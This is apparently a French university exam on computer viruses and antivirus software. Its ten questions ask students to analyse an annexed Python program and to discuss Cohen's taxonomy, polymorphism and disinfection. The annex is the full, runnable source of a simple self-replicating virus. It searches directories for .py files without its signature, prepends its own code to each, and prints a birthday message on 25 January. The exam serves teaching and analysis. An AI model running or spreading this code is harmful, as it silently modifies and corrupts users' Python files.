Examen Virus & Antivirus

<u>Attention</u> : répondre directement sur le sujet et rendre l'ensemble des annexes avec le sujet

Nom / Prénom :

Analyse du code de FRANKLIN, dont le code (python) est fourni en annexe.

Les réponses aux questions doivent être
PRECISES (utiliser le vocabulaire adapté)
et CONCISES (ne pas dépasser l'espace disponible).

Questions

Question 1 (2pt) : Selon la taxonomie de Cohen (vue en cours), ce programme est-il :

□ un virus
□ un ver
□ un hybride virus/ver
□ un cheval de troie
□ une bombe logique

Justifiez votre réponse (1 ligne) :

Question 2 (1pt) : Le programme possède t'il une fonction d'anti-détection ? Si c'est le cas, indiquez à quelle(s) section(s) cette fonction est mise en œuvre.

Question 3 (2pt) : Le programme détecte-t'il si la machine (ou les fichiers) est (sont) déjà infectée(s) ? Si c'est le cas, précisez les numéros de lignes où cette fonction est mise en œuvre et expliquez succinctement le principe.

Question 4 (4pt) : Proposez un schéma décrivant les grandes étapes de fonctionnement de ce programme.

Question 5 (1pt) : Comment peut-on détecter la présence de cette menace sur une machine ? Justifiez (1 phrase).

Question 6 (2pt) : Sera-t'il possible de désinfecter totalement cette menace ? Justifiez en précisant le cas échéant l'ensemble des éléments à nettoyer.

Question 7 (2pt) : Expliquez le principe du polymorphisme.

Question 8 (2pt) : Expliquez l'impact du théorème de Cohen sur le choix d'une solution d'anti-virus pour une entreprise.

Question 9 (2pt) : Expliquez pourquoi malgré le théorème de Cohen, l'utilisation d'un antivirus reste judicieuse.

Question 10 (2pt) : A la lumière de votre expérience, quelle procédure recommanderiez-vous pour gérer un cas d'infection virale d'une machine d'un employé de votre entreprise ?

```
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
```